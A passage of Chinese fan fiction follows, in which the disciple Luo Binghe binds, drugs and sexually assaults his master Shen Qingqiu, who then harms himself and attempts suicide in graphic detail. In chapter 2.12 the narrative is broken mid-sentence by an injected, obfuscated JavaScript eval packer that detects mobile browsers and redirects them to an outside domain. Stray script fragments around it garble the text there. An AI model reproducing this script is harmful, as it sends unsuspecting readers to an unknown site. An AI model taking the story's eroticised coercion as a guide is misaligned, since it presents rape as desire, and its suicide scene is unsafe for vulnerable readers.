可是没办法,谁让他遇见的是这样的沈清秋呢?人都困在手上了,还是先完成现在吧: “师尊,您还是省省力气,留着一会喊吧。弟子可是很期待您的声音呢。” “滚!猪狗不如的畜牲,不配碰我!” 沈清秋的反抗程度越来越大,哪怕是灵力被封的情况下,洛冰河也能感觉到床铺在震动……他真的很担心一会床塌了,两个人是不是要打地铺。 洛冰河双腿发力将沈清秋乱蹬的脚控制住,靠床的手将沈清秋的肩膀紧紧抱着,另一只手抚上沈清秋的丹田,威胁道: “师尊,你要是在疯狂下去,弟子只能废你修为了。捆仙锁都抑制不住你,你让弟子拿你怎么办呢?” 声音刚落,沈清秋老实的就像是刚被训斥完的孩子,除了浑身还在颤抖,竟是完全不反抗了! 对此,洛冰河终于放下心,手掌在沈清秋小腹来回摩挲: “师尊,听说女子这个位置能孕育婴儿,师尊停在金丹期很久了吧?想不想进阶元婴?” 沈清秋不想听什么''孕育婴儿'',但是对于修为他真的是忧愁太久了!整个修真界,那个人能拒绝提升修为呢?! “什么意思?” “呵,”洛冰河就知道,沈清秋绝对拒绝不了诱惑,甭管是修真界以强者为尊,还是他平日里的风光霁月,都无法抵抗修为的魅力! 2.6人都在掌心里了,还有什么好考虑的? ———— 师尊,我希望你认清局势,你浑身灵力被封,人也在我手掌心捏着,弟子只是找你同床共枕,若是你不老实,那弟子只能打开窗户,干些师尊不想干的事情了…… ——正文—— “很简单,师尊只需要乖乖配合我……” 洛冰河的手一点点划过沈清秋的衣物,过于亲近的距离使的他能轻易感受到,来自沈清秋身体的热度与害怕的颤栗,以及被自己缓慢划过所冰到起的鸡皮疙瘩。 “你……你给我滚开!” 沈清秋的声音不复之前的正气十足,两人的姿势,与洛冰河此刻的手指游动,都令沈清秋战栗不安。虽然衣衫完好,可洛冰河的一举一动,都让沈清秋感觉自己没穿衣服般敏感,就连声音,都泄出几丝恐惧。 “师尊,你比弟子风流多了,那城下的青楼十二阁,那个不曾奉你为恩客?你在这给弟子装什么单纯深情呢?” “你!”沈清秋气急,一时半会也不知该说什么,难道说自己只是来青楼借宿,想找成熟大姐姐寻求心理安慰吗? 可这话怎么会有人信!就算是他自己,也绝对说不出口! “师尊,我希望你认清局势,你浑身灵力被封,人也在我手掌心捏着,弟子只是找你同床共枕,若是你不老实,那弟子只能打开窗户,干些师尊不想干的事情了……” “!!!”如此威胁,简直不要太可怕!虽然沈清秋不信洛冰河兴师动众的只是为了与自己同眠共枕,但是他更不想在窗边……被人观摩! 洛冰河看着终于老实下来的沈清秋,心里思考着要不要喂点天魔之血。毕竟这玩意挺好用的,除了定位,床事上也别有韵味。 洛冰河用手摩挲着沈清秋的细腰,重重叠叠的衣服,有种让他拆礼物的惊喜,他要思考一下先从哪里下手。 毕竟,心急吃不了热豆腐,人都在自己怀里了,也不在乎这一会。 2.7 配不配合不重要 对于沈清秋的不配合,洛冰河心中有数。相反,若是沈清秋什么也不抵抗,他才会觉得奇也怪也,只觉得自己被恶心到! 洛冰河欺身向上,不顾沈清秋的反抗与折腾,径自抓起曾将自己踢下深渊的右腿,一点点细细打量: 修长、纤细、有力。 习武之人,手脚都极为刚劲有力。如果是硬家功夫,甚至还会练出一身硬皮,堪比钢筋铁骨。 但沈清秋显然不是,清净峰主打一个知识就是力量,书生文人,怎么能形如壮汉呢?自然要清秀典雅,身形单薄。 洛冰河不安分的手一点点穿过裤腿的阻拦,顺着肌肤向上缓慢移动,像是某种冷血的蛇类滑过,激起沈清秋一片冷意…… “冷-”他不禁喃喃着,别扭的动了动膝盖,想努力想把腿蜷缩收回。 却被另一只有力的手握住纤细的脚踝,死死的抓着,凉和冰的触感纠缠,令他无法动弹。 “放手”沈清秋双手被打开到头部以上,被捆仙绳锁的紧紧的。现在一只腿被洛冰河修长有力的大腿压着,另一只被强有力的手强行折起抓着。就像是被紧紧贴入他的怀里,欲拒还迎,这样的动作实在太羞耻了。 “师尊,乱蹬人可不是好习惯,弟子至今记得你当初那一脚有多么无情,一下就让弟子坠入无尽深渊呢。” 洛冰河亲昵的话语,令沈清秋忍不住浑身颤抖,昔日的回忆展现眼前,当初沈清秋发现自己身边居然潜伏了个魔族奸细,气的差点一剑砍死他,又难得发个善心,只一脚踹下去,想着生死由命。 但他丝毫没有想到,自己会因为那一脚,现在被人用这样的动作、这样的姿势,一点点的报复回来! 哪怕洛冰河将他双脚砍下,甚至折断双腿,他都能忍受,都可以理解,却唯独,不能以身饲虎! “畜牲!你滚开!” “师尊,”洛冰河欺身压上,将沈清秋整体压在身下:“师尊啊,你这脚踝如此纤细,却能带给人无尽绝望。” 他将头探入沈清秋耳侧,紧盯着沈清秋紧闭的双眼:“师尊,师尊所赐,弟子不敢忘。就是不知,师尊希望弟子怎么奉还呢?” 说着,洛冰河用指腹一点点描画沈清秋的脸,看着这张曾经自己无数次想要得对方认可的青眼,却一直被冷漠对待的、曾经高高在上的家伙。 “师尊的皮真是细腻,怪不得在双湖城能被人盯上。师尊当时衣衫半腿,当真撩人。” 沈清秋一时间跟不上他的思路,什么被人盯上,什么衣衫半退?他就算在青楼借宿,也是规规矩矩的好吧!而且撩人又是什么鬼,他不是一直因为这张脸被人惦记吗! 就算是现在,沈清秋也保证,若不是自己这种脸皮过于出众,他最多被一剑杀了,何苦受这折辱? 他想要反抗,可他现在灵力尽失,双手被缚,腿也被死死压着,除了一副还算尖锐的牙齿,别无他法! 可,洛冰河额头上的,是天魔族印记,他不敢赌,魔族的血已是与修真者相克,天魔族说不定更甚!在没有把握一击必杀的情况下,他要忍耐着,蓄积力量,才能寻到逃跑的机会! “师尊”洛冰河突然开口,沈清秋忍不住一激灵,想知道这家伙又想说什么惊人之语。 “你……” “师尊,弟子虚心求教呢,作为一个有问必答的好师尊,您应该回答自己的问题才对。” 洛冰河态度诚恳,语气无辜的像是一个因修炼出现问题而询问长辈的孩子,当真无邪极了。 终于,沈清秋还是怕了,他忍不住软了语气,带上一丝哀求: “你不要乱来!” 可惜,对于沈清秋来说已经算是求饶的话语,对洛冰河却是无关痛痒。他只觉得底下的人不乖,不回答就算了,还一直晃,颤抖的床都哆哆嗦嗦的,想来是又想突破捆仙锁的束缚,逃离自己掌心了。 沈清秋并不是重玉之人,他对男人不仅没想法,甚至还非常厌恶! 所以他根本不觉得什么迤逦和暧昧,只心生悲凉,觉得自己从小陷入的泥潭,长大了依旧逃不脱! 洛冰河冰凉的手指在沈清秋脊背,如果是情侣之间,此时沈清秋大概会如触电般酥酥麻麻,陷入甜丝丝、软绵绵的情欲之中,只想与对方共陷沉沦。 可沈清秋不是,他不仅不觉得意乱情迷,甚至还有些自暴自弃。 从小到大,太多人因为自己的皮相而面露垂怜之色,也有太多人想点燃他的情潮。将他拖入欲的深渊;想听他情时的喘息,想让他难耐的吟,想将他全身的力气榨干,想看天神坠下凡尘,。 沈清秋。一直避开人群行走,拒绝与旁人过多接触,将自己缩小在几个点中。 却依旧避不开。 2.8 将仙人拉下神台,是每个人的恶念 2.8 始终不回应的回答,会用其他方式得到 密不透光的屋子,死一般的寂静中,唯有满身越发难忍的、愈加强烈的燥热。 沈清秋不得不大喘气,拼命挣扎。身下的床单已被抓出无数孔洞,没有人能救他,而他,若不自救,必将终陷入情玉的苦海中,无法自拔。 “不,不行”沈清秋努力挣扎着,想要站起身子,至少离开这张困了他许久的床—— 方寸,被打晕的青楼女突然有清醒的迹象,洛冰河去处理她了。临走之前,加大了天魔之血的操纵,令沈清秋如同深陷春邀般,难以自持。 若说方寸是被人强行調情,现在,就是直接上药物! 畜牲,□□的牲畜!欺师犯上,龌龊又恶心! 沈清秋憋的脸色通红,狠狠的将难抑的情绪压下,忍着浑身颤抖,艰难的从床上爬起来,摸索衣物。 他不知洛冰河什么时候会回来,只能用最快的速度,先穿好衣服,脱离这里再说! 可惜,洛冰河拥有跨越时空能力,早就处理好碍眼的女人,只是他没有发出声响。洛冰河更想知道,一个喝了自己血,还中了春瑶的、浑身无力到颤抖的、几乎下不了床的沈清秋,能跑到哪去? 黑暗并不能遮挡他的视线,所以洛冰河能很轻松的看到沈清秋艰难的从床上爬起,在衣服的磨蹭下,摇摇欲坠。 ''咕嘟'',洛冰河忍不住咽了口唾沫。太诱人了,这与在自己面前脱衣服、用制服調逗自己,有什么区别? “谁?”沈清秋虽然武功尽失,听力却仍在。他精准的看向声音传来之处,虽浑身颤抖,却尽量收敛压制,全看不出难耐。 但,洛冰河与他风流了那么久,岂能听不出来沈清秋话语中隐藏的情愫?他心知,就差一点点,沈清秋必定成为自己最得宠的床伴! 反正已经被发现,洛冰河也不藏了,大摇大摆的走出去,随手一捞,就将沈清秋揽在怀中。 他都看到了吗?看到他因洛冰河的离开而放松警惕后难耐的痉挛与颤抖,看到他想释放却被阻拦的大汗淋漓与呻吟,看到他因体力不支而四处摔倒、却又强忍情玉努力穿衣服的难堪。 敌人在的时候,他说什么也会忍下去。 可若是敌人离开,他的精神难免出现波动,而精神放松后,身体就会越发难耐——既然他知道洛冰河已离开,所以,稍微做点什么,缓解一下不舒服,也是能理解的吧? 可现在被点出来,实在是太社死了! “……”沈清秋忍不住向后退一步,虽然室内很黑,可是他还是忍不住紧闭双眼,颤抖的睫毛波动不止,认命般,不想回答。 沈清秋要怎么回答呢? 承认自己也是个人,会有正常的情绪波动,所以难以忍受的时候会想要发泄? 还是说承认他虽然心里极其厌恶,身体却被挑起生物本能,无法控制? 即使这些都是真的,洛冰河会信吗?换而言之,既然洛冰河能挑起来,自己又凭什么不让他继续呢?就因为''沈清秋不想''吗? 可就算是洛冰河愿意听从并相信的话,沈清秋刚才的举动又算什么?身体已经很明显的表达了生物本能,却嘴上依然什么都不愿意? 这一刻,沈清秋对自己的厌弃感,达到了顶峰! 洛冰河看着只要自己一到就默不作声的某人,一边欣喜于他的逆来顺受,一边又忍不住心中泛起不忿: 明明那个世界两人都可以如痴情眷侣一般举案齐眉,为什么他的沈清秋却一直抗拒自己? 明明自己的技巧满点,伺候的沈清秋飘飘欲仙,自己离开后沈清秋不再忍耐,看起来就知道自己''很行''。 可是只要他一出现,沈清秋就像是扬起全身毛发的刺猬,非搞得两人都遍体鳞伤,满嘴血腥才行。 “师尊,”洛冰河真的迷惑又困惑,他认为自己已经做到了极致,沈清秋的表现也知道非常快乐,为什么就是不愿意与自己共赴云雨? “师尊,弟子的手段不好吗?为什么你非要强忍?难道弟子当真比不过青楼女子的软香惬玉?” 洛冰河此时满满的不理解,在他的脑海里,这个家伙最喜流连风月,一个月中大半个月都要往这里跑,却在自己服侍的时候各种强忍不吭声,就算是刺激到极致,也只是发出一个轻微的''唔-''。 是因为没有做到最后一步,还是因为自己是男人? 洛冰河突然想起来清净峰峰主不喜与人接触的传言——一个天天逛窑子的男儿,不喜欢与人接触,谁信啊? 可洛冰河身体力行后,又确实觉得有道理……毕竟沈清秋对于自己的触碰,甭管是有意识还是无意识,都是避让的。 可,这些不重要。 重要的是,沈清秋既然已深陷玉海,洛冰河就不该放过这个好机会,趁着他沉迷其中,精神恍惚的时候,一发入魂;最好辅以生子丹药,让他怀上自己的骨血,永远逃不脱,离不开自己! “师尊,弟子再给你最后一次机会。” 洛冰河看着沈清秋疯狂抖动的睫毛,嘴角快速波动,最后吐出来一句“畜牲”。 洛冰河简直要气笑了,他还以为沈清秋对抗情玉傻掉了,却没想到还能牙尖嘴利的骂人。 洛冰河的手紧紧捏着沈清秋的喉咙,力道加重,直逼得沈清秋艰难咳嗽:“师尊啊,我好生跟你商量呢,你就听着。” 说着,另一只手强行扒开沈清秋禁闭的双眼,冷冷的看着他,直直的顶着沈清秋黝黑的瞳孔,脸色阴沉:“师尊,你可真不乖。” “咳……咳,”沈清秋避无可避,似乎耸了一下肩膀,空洞的眼睛带着视死如归,语气平淡的如同喝水:“那你杀了我吧。” 反正,现在这种情况下,沈清秋也难逃一''死''。要么沦为被人玩弄的床宠,要么死在洛冰河变态的手段里。 还不如,早早死去,少受点折磨。 看着沈清秋放弃抵抗、心存死志,洛冰河终于承认,沈清秋的眼睛里从来没有自己!他就是个完全没有心的恶毒小人! “不,不要”沈清秋浑身发抖,破天荒的求饶。 可惜洛冰河已动了怒火,完全不理会: “师尊,你的身体很想呢” 沈清秋不知从哪里的力气,挥舞着双手,想将洛冰河推开: “不,不要,求你,不要” 洛冰河轻轻松松的打掉沈清秋乱动的双手,将怀里的人贴的更紧些: “师尊,现在说这个,已经晚了。” 2.9有些记忆,不如失忆 ———— 不仅嗓音很哑;咽喉也如火烧般疼痛,最重要的是身体虚弱无力,大腿部尤甚!各处关节隐隐作痛,背部和大腿更是难言的难受! ———— ——正文—— 沈清秋迷迷糊糊的,感觉到自己好像跟谁打了一架,这一架打得他精疲力尽。后面……发生了什么?对未知的警惕本能瞬间使他清醒,也使他,发现了自己目前的状况。 之前将他五花大绑的绳子已经被取下来,浑身衣物被剥的干净,唯剩下一条贴身亵裤。 “!!!”这下是真的一点也不困了。 沈清秋迅速扯起被子,环绕四周: 屋子还是之前的屋子,窗外的天色已经暗沉下来,他刚才感受到的震动,是洛冰河不知道从哪里搞得浴桶。 虽然他很奇怪,为什么自己衣服不在,但现在不是考虑那个的时候,他更想知道洛冰河发什么疯! “洛冰河?你搞什么?” 话一出口,沈清秋先被震惊了:他的嗓子如同呛了许多破碎的辣椒沫,火辣辣的刺疼。声音低沉暗哑,就像是睡了好几天一样,张口说话极为艰难,声音极小,极尖锐。 “呦,师尊醒了啊?”洛冰河听到沈清秋的声音,停下手中之事,快步走向床铺,亲自弯腰为沈清秋撑起身子:“师尊,你身上脏了,我们要洗洗澡。弟子专门从寒潭取来泉水,正适合你这种情况。” “?你搞什么鬼?”沈清秋艰难询问。 “难道药放多了,师尊脑子还没醒过来?” “你!”不对,刚才还没发现,现在却忽然察觉到: 不仅嗓音很哑;咽喉也如火烧般疼痛,最重要的是身体虚弱无力,大腿部尤甚!各处关节隐隐作痛,背部和大腿更是难言的难受! 记忆回炉,沈清秋之前好像隐约听到…… “沈清秋,你不要给我一副幼雏的样子,上辈子流连花楼的风流浪子,我不信你这副要生要死的混账样子!” “别咬了,还是你想让天魔之血也加入我们?” “你,你不会真是第一次吧?你上辈子……你可真是,去花楼那么久,就睡出一个处子之身?” “!!!”沈清秋瞳孔地震,木然又震惊的将手和胳膊放在自己眼前:满身的掐痕和淤青,如此虚弱,就连举起都感觉要费尽力气。丹田空荡荡的,一丝灵力也无。 这还有什么好想的!发生了什么一目了然! “洛冰河!”沈清秋恨不得杀了面前之人。 “诶,弟子在呢。”得偿所愿的某人兴致极佳,完全不在乎自己被掐的出血的手腕,只随意用另一只手像拍小孩一样安抚沈清秋: “师尊真的给了弟子很大惊喜呢。弟子原以为……” “……”沈清秋张口欲言,被洛冰河一根手指制止住。顺便把被掐的鲜血淋漓的手腕放到沈清秋嘴前: “师尊,喝点,你看你嗓子都哑了。” 沈清秋大概是记忆不全,完全不了解天魔之血是种怎样可怕的东西,他张口就咬,那恶狠狠的样子,似是要咬下一块肉来。 洛冰河看着沈清秋''噬其血肉''的样子,眉眼弯弯,夸奖道:“师尊真乖。” 感受着血腥味在口中泛滥,沈清秋咬到牙酸,最终恶心吐了出来: ‘呕——’ 洛冰河轻拍着沈清秋的脊背,时不时偷偷滑个几下,吃点豆腐——师尊的脊背真是光滑细腻的很,比暖玉的手感还好。 可惜沈清秋即使虚弱,也完全不需要别人帮助,他挥手将洛冰河推开:“洛冰河!”沈清秋一只手艰难的撑在床上,另一只手抚着胸口,问道:“我的修为呢!” 他近段时间的记忆缺失,但一开始与洛冰河对打被擒的记忆尚存,他记得洛冰河说了什么''只是打算同床共枕'',不干别的,还有什么''师尊好好配合,孕育元婴''…… 现在看来,洛冰河分明是什么都得到了,又什么都没做到!好处全拿,沈清秋被骗的一塌糊涂! —————————————————————— 2.10洛冰河:沈清秋为什么会崩溃? 沈清秋将在自己肩膀作恶的手一把推开,像是受到了什么太大的刺激与不公,满身悲凉,撕心裂肺的咳着,吐出大片血迹: “沈清秋啊,沈清秋,你为什么活着呢?你的人生就是一个悲剧!” ——正文—— “师尊,您忘了吗?” 洛冰河取出一杯清茶,递给沈清秋。 “什么” 沈清秋挥手将茶杯打掉,恶狠狠的看着洛冰河。 洛冰河遗憾的看着被打落的茶杯——沈清秋的力气小的若不是他配合,连自己捧的杯子都打不掉了。 他将目光转回,无辜道: “您的修为是自己废的呀~” “!!!” 洛冰河看着震惊的沈清秋,眼中恶趣味递增: “弟子让你主动点,你竟自废根基,也要离弟子远远的……” “!!!”你TM还委屈上了? “弟子看着废除根基后路都走不好的师尊,自然要贴心的搀扶您啊……”洛冰河一脸无奈: “可是师尊您特别强硬的拒绝了弟子的好意,连摔了好几下呢……” “……”真有你的,歪解事实的能力,你是一点不拉啊。这听听靠谱吗?沈清秋都被逼得自废修为了,罪魁祸首居然还要上赶着搀扶? “弟子不忍师尊那般辛苦,将师尊送到床上歇息……”洛冰河边说边再次替沈清秋拍背+扣油:“谁知师尊反应太过剧烈,弟子一时站不稳……” 说到这,洛冰河一屁股坐在沈清秋旁边,一脸真诚:“那这干柴烈火的,一不小心发生点什么,也是正常的吧?” “!!!”沈清秋要被他那厚如城墙的脸皮震惊了,知道他不要脸,没想到他能如此一点底线也没有! “师尊,”洛冰河得寸进尺,一手揽在沈清秋肩膀:“我们都如此亲密了,你就不要总是冷冰冰的了。修为嘛,弟子另有计策。” “滚!” 沈清秋将在自己肩膀作恶的手一把推开,像是受到了什么太大的刺激与不公,满身悲凉,撕心裂肺的咳着,吐出大片血迹: “沈清秋啊,沈清秋,你为什么活着呢?你的人生就是一个悲剧!” 洛冰河不明白沈清秋为什么突然崩溃,他看着陷入自弃的沈清秋,觉得自己该做些什么——虽然我不是很能理解也不懂,但谁让他是个温柔合格的床伴呢?他会尽可能的照顾对方的情绪的(点头)。 但是很明显,沈清秋并不需要别人的安慰,他之前已经自废丹田,现在甚至已开始自残,疯狂的拿头去撞床铺的墙壁。 而且大概是近些天沈清秋经历了什么令他身心疲劳的事情,又或者是之前刺激太大。明明警惕心十足、恨不得立刻钻入地缝飞走的沈清秋,竟在一系列的闹腾中睡着了。 虽然说这种睡法绝不会多舒服——沈清秋几乎一会就换个姿势,若不是气息平和,洛冰河能隐约感知他的梦境,都以为这家伙在装睡了! “……” 洛冰河不理解,但是他大为震惊——在他心中,沈清秋就算是在牢里、就算是施以各种刑罚、就算是活生生撕裂四肢。 也不曾像现在这样崩溃…… 难道? 洛冰河心中暗想:沈清秋对于南风的厌恶,以及自弃到了要崩溃的程度? 这么想好像也是。 洛冰河给沈清秋两个选择:伺候自己,或者废掉他最看重的修为。 结果沈清秋毫不犹豫的选自毁金丹。 洛冰河原以为这玩意是个风流浪子,却发现这家伙酸涩的比楚女还要保守,对床笫之事表现的极为抗拒! 难道……他不好男人,也不好女人? 那他天天跑青楼是为了什么?咋的,都爬到一届峰主了,还有谁能给他委屈受? 之前倒是有个柳清歌,不过不是被他搞死了吗?洛冰河还用这个事实去攻击沈清秋,把他关入地牢狱呢! 总不能是掌门岳清源吧? 可是也不像啊,岳清源的为人满修真界都知,他也数次见到岳清源对沈清秋的讨好与照顾,这些总做不得假。 太上长老? 这个玩意真的存在吗?且不说他在苍穹山派从未见过,上一世洛冰河灭苍穹山派,火烧清净峰的时候,也压根没出现啊! 思来想去,洛冰河还是不能理解。 大概,也许……是心疾? 算了,用梦魇吧。 就让梦魇读取他的记忆,从过往中找寻沈清秋崩溃的原因吧。 2.11好一场酣畅淋漓的‘谈心’? ‘好像有点过火了。’ 洛冰河看着崩溃的沈清秋,没有多少的良心突然抽搐了一下。虽然他杀人不眨眼,折磨人手段极其残忍,可是他对于自己后宫还是很贴心的——来自后宫男主对妹子的怜惜,令他有了一丝丝的愧疚感? “你,别哭了”冰哥有点手足无措。在他那少得可怜的脑子里,他认为所有妹子收入后宫,自然的就会和平相处,至于那些小打小闹,完全不重要——只要面对自己时候大家一起和和气气,笑容满面,然后大家一起同登极乐就行了。 对于睡男人,冰哥是第一次。(私设:妹子都睡不完...) 所以他不是很懂睡完男人的流程——是该一起洗个澡呢,还是该涌入怀里安慰呢?还是该给他买些乱七八糟的小玩意补偿一下?或者说,沈清秋最看重修为,让他转修魔功,给他寻些天材地宝助他修炼? 嗯。大抵不过如此,冰哥心中已经有了计较,只打算等面前之人情绪稳定之后,替他天南地北的跑个腿,给他一些奇珍异宝辅助修炼——至于之前废掉的修为,正好散功重修,冰哥可以给他更好的! 思及此,冰哥非常自觉的将沈清秋咳出的血擦拭干净,接着将人楼到自己怀里,轻声安慰:“别气啦,我给你找更好的功法,给你搜集全天下的天才地宝,保证你的修为比之前还高!” 恐怕沈清秋是第一次感受到来自直男的直球打击。如此简单直白到粗暴的安慰手法,真是——既直击要害又粗鲁到过分了吧! 本来沈清秋在乎的、崩溃的原因就是两点: 1.都快成心魔的修为,死活无法寸进不说,现在还一丝不剩了!这谁能接受?! 2.自己被一个男人睡了!同等性别,自己是被压的那个!而且这个男人他一直看不顺眼,处处为难不说,还在不久之前狠狠的得罪过,把他踹下悬崖的时候有多干脆利落多帅气,现在就有多狼狈! 对方会怎样对自己?是将之前对他的一切“加倍奉还”外加各种刑法,还是让他沦为最低等的床奴任人欺辱? 如果对方没良心一点,甚至可以将此事宣扬至全世界,社死也是死啊!这对于视名声如生命的沈清秋来说,还不如干脆死了好了,起码不用受到周围人的视线折磨! 沈清秋自知自己不是什么好人,也对这个徒弟不够好。其实当他发现洛冰河是魔族的时候,他是松了一口气的:怪不得我始终看不惯他,原来本该如此! 可是吧,理论正确,不代表后续没问题! 现在,他的罪孽,找来了! 就如同他没办法对秋海棠言说杀秋家少爷的‘苦衷’,没法对百战峰弟子解释好心办坏事误杀柳清歌一样,人是无法对既定事实撒谎的! 苦衷也好,好心办坏事也好,最后的结果就是那样,如果可以选择,他肯定不会再重蹈覆辙。但,他也没办法啊,事实就是这样啊! 即使他心里恶狠狠的鄙视自己多少次,为自己找多少的借口,都没办法掩盖已经盖棺定论的事实! ———— “你杀了我吧。”沈清秋虚弱的被洛冰河圈在怀里,神情颓败,眼神涣散——他现在已经不在乎身边之人是谁,自己与他有没有深仇大恨,与他又纠缠多深。他只想,死了吧,早点死了吧。你不杀我就自杀,给你一个亲手了结我(报仇)的机会。 “不可能。”冰哥感受着怀里人的‘顺从’,一只手紧紧揽着,另一边用手给他顺着头发,发出满足的感叹:“我怎么会舍得杀了你呢。我不仅不会杀你,还要帮你重铸修为,带你成为世界至尊。这一次,世界我只想与你共享。” “呵。”沈清秋冷冷的笑了一声:“作为你的床奴?” 沈清秋突然扭头,定定的看着洛冰河:“我没想到,自己竟然阴沟翻船,被你这个畜生坑害。”他的嘴角勾起凉薄的弧度:“不杀我,那就是想用我去打击苍穹山派了?亦或是让我活着,看你杀光所有我在乎的人;或者沦为你的床奴,为他们的安危取乐于你。” “你怎么能这么想我?”洛冰河心情很好,手指插入沈清秋发根,一点点拨弄着。完全没有已经干过一世之人的心虚——毕竟,沈清秋说的那些,他确实干了,只不过沦为床奴确实没有,因为他嫌脏啊~ “滚。”沈清秋突然肩肘发力,将洛冰河揽着自己的胳膊推开,又一个旋转转身,快速从床榻上站起来:“你既然不想杀我,我也不给你这个报仇的机会了。” 说罢,沈清秋随手抽出旁边的修雅,对着脖子就是一下。 2.12洛冰河喂沈清秋喝血,续命 对于沈清秋的求死,洛冰河并不意外。 毕竟沈清秋被他折磨的想死不是一天两天了,只不过天魔之血受自己管控,所以(只要冰哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075136|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不发话)他死不了。 但是他不能理解的是,为什么此时此刻,沈清秋会求死?因为跟自己睡了?还是因为修为尽失?而且他说什么“那我就自己来。”看来是真的打算死了啊!!! 洛冰河看着毫不犹豫就要抹脖子的沈清秋,心里非常闪过两个选择: 1.让他自杀,看着他自残却无法结束生命,这无疑是一种残酷的折磨。如此一来,便能轻而易举地击溃他的心理防线。就像曾经对待敌人时所做的那样,残忍本就是对待敌人应有的手段。然而,此时此刻,他并不想将沈清秋视为敌人。 2.如果选择阻止他自杀,那么就需要寻找其他途径来唤醒他的求生欲望。毕竟,在洛冰河看来,沈清秋这个卑鄙小人的求生欲还是相当强烈的。只要给予一点(逃跑)机会,或许他就不会轻易放弃生命。但是,稍有不慎,他很可能会再度尝试自杀。到那时,一旦沈清秋发现自己无法死去,恐怕会陷入更加绝望和崩溃的境地。 所以。要不还是威胁?比如,用岳清源的命? 虽然这一招式有些陈旧,但不得不承认它确实非常有效啊!然而话说回来,如果沈清秋早就察觉到自己可能会使用这一招式,那他是否还会“中计”,被人要挟呢?毕竟以沈清秋的智慧和洞察力,应该不会轻易落入这样的陷阱才对。 或许,他有其他的计划或者应对策略,只是暂时无法知晓罢了。也有可能,他故意装作“上当”,实际上却是在将计就计,等待着反击的最佳时机。还有一种可能,沈清秋真的一心求死,完全不在乎其他,所以压根无所谓……种种可能性如豆子般散落,令洛冰河一时难以抉择。 就在洛冰河思绪百转千回的时候,沈清秋已经毫不犹豫地举起了手中的修雅,然后以一种极其果断和决绝的姿态,向着自己的脖颈狠狠划去! 刹那间,鲜血如决堤的洪水般喷涌而出,形成了一道触目惊心的红色喷泉。那滚烫而刺鼻的血腥气息,瞬间弥漫开来,充斥着整个空间。而这猩红的液体,更像是一场凄美的雨幕,纷纷扬扬地拍打在洛冰河的脸上。(冷冷的冰雨在脸上胡乱的拍) 洛冰河瞪大了眼睛,难以置信地望着眼前发生的一切。他的心中充满了惊愕、痛苦和绝望,仿佛整个世界都在这一刻崩塌了。然而,面对如此惨烈的景象,他却无能为力,只能眼睁睁地看着沈清秋紧闭的双眼,和,跌落的躯体…… 虽然洛冰河知道,沈清秋体内有自己的血液,一般没自己允许是死不了的。 但是当那温热逐渐变得滚烫,直至猩红的鲜血如喷泉般溅射到自己脸上时,他的心还是猛地慌了一下。在短暂的恍惚与茫然之后,洛冰河突然间意识到一个可怕的事实——眼前这个人,即便死不了,但也会不顾一切地寻求死亡,会疯狂地自残、糟践自己的身体,最终陷入一种半死不活的状态之中! 那鲜血仿佛带着滚烫的温度,灼烧着他的脸颊,让他的心跳不由自主地加快。而这血腥的场景更是深深刺激着他的神经,让他无法再保持冷静。他瞪大眼睛看着眼前的人,心中涌起一股难以言喻的恐惧和慌乱。 他知道,必须要采取行动了,否则后果将不堪设想。可是,面对这样一个一心求死的人,他又该如何去做呢?他感到前所未有的无助和困惑。此刻,他需要的不仅仅是让‘这个人不要死’,更要想办法,让他‘活下来’。 ———— 可怕的甜腥味充斥着口腔和鼻腔,仿佛滚烫的岩浆在其中流淌,又如同严寒的融冰侵蚀着每一个角落。这股诡异的味道顺着食道滑落,如同一股汹涌的洪流,势不可挡地冲入身体深处。它带来的不仅仅是味觉上的冲击,更像是一种无法抗拒的力量,试图将他整个人从内部撕裂、熔化。 这种感觉异常强烈,如同火山喷发一般,汹涌澎湃,让人难以忍受。仿佛有无数只蚂蚁在啃噬着他的身体,那种瘙痒和疼痛交织在一起的感觉,让他几乎要抓狂。又似千万根细针同时刺痛着肌肤,每一根都带来刺骨的疼痛,让他浑身颤抖不已。 他感到自己的身体渐渐失去了控制,就像一艘失去方向的船只,在茫茫大海上漂泊。他试图挣扎,想要摆脱这股陌生而强大的力量的束缚。但他很快就发现,自己的努力只是徒劳无功,那股力量太过强大,根本不是他能够抗衡的。 他只能眼睁睁地看着自己的身体被这股力量所左右,完全失去了自主性。他的意识开始模糊,思维变得混乱不堪。原本清晰的思路此刻也像是被蒙上了一层厚厚的迷雾,让他无从下手。 随着时间的推移,他感觉到体内的力量在不断地流失、消散,就像是沙漏中的沙子一样,一点一点地减少。而更糟糕的是,这些流失的力量似乎也带走了部分思维,理智和思考已经离开了他的身体,让他感到无比的虚无和无助——周围环境如此恶劣,思绪却离家出走,恐慌和对未知的恐惧已经将他占据。 “不,不要。”沈清秋呻吟出声。无论何时何地,思绪迟钝都是极其恐怖的事情,一个人,若是不能思考,那他将真的变成一个任人摆弄的玩偶! 洛冰河将手腕狠狠的贴紧沈清秋的唇舌,硬逼他喝下自己的血液——既然你不想要自己的鲜血,那就喝下我的,与我融为一体吧! 2.13自杀,未遂 "你给我喂了什么?"沈清秋终于艰难地睁开了眼皮,那眼皮就像被千万斤的重物压着一般,酸涩沉重;白皙修长的手指狠狠地掐着掌心,试图让自己昏沉的头脑清醒过来。 "自然是……能让你死不了的东西。"洛冰河用那双深沉得犹如黑洞一般、仿佛能够吸纳所有光线的眼眸,紧紧地凝视着眼前的青年。他的眼底燃烧着一种比烈阳还要炽热的渴望,仿佛要将对方彻底吞噬。 洛冰河缓缓将已经不再流血的手腕收回,然后屈身向前,舌尖轻轻探出,极富挑逗意味地舔过沈清秋的嘴唇,将唇上沾染的、属于自己的鲜血卷入嘴中,仔细而缓慢地品味着。 "我的血……好喝吗?"他的声音低沉且沙哑,透着一股诱人的魅惑气息,其中还夹杂着一丝丝难以觉察的癫狂之意,仿佛正在对沈清秋发出一种极度危险却又令人无法抗拒的邀约。 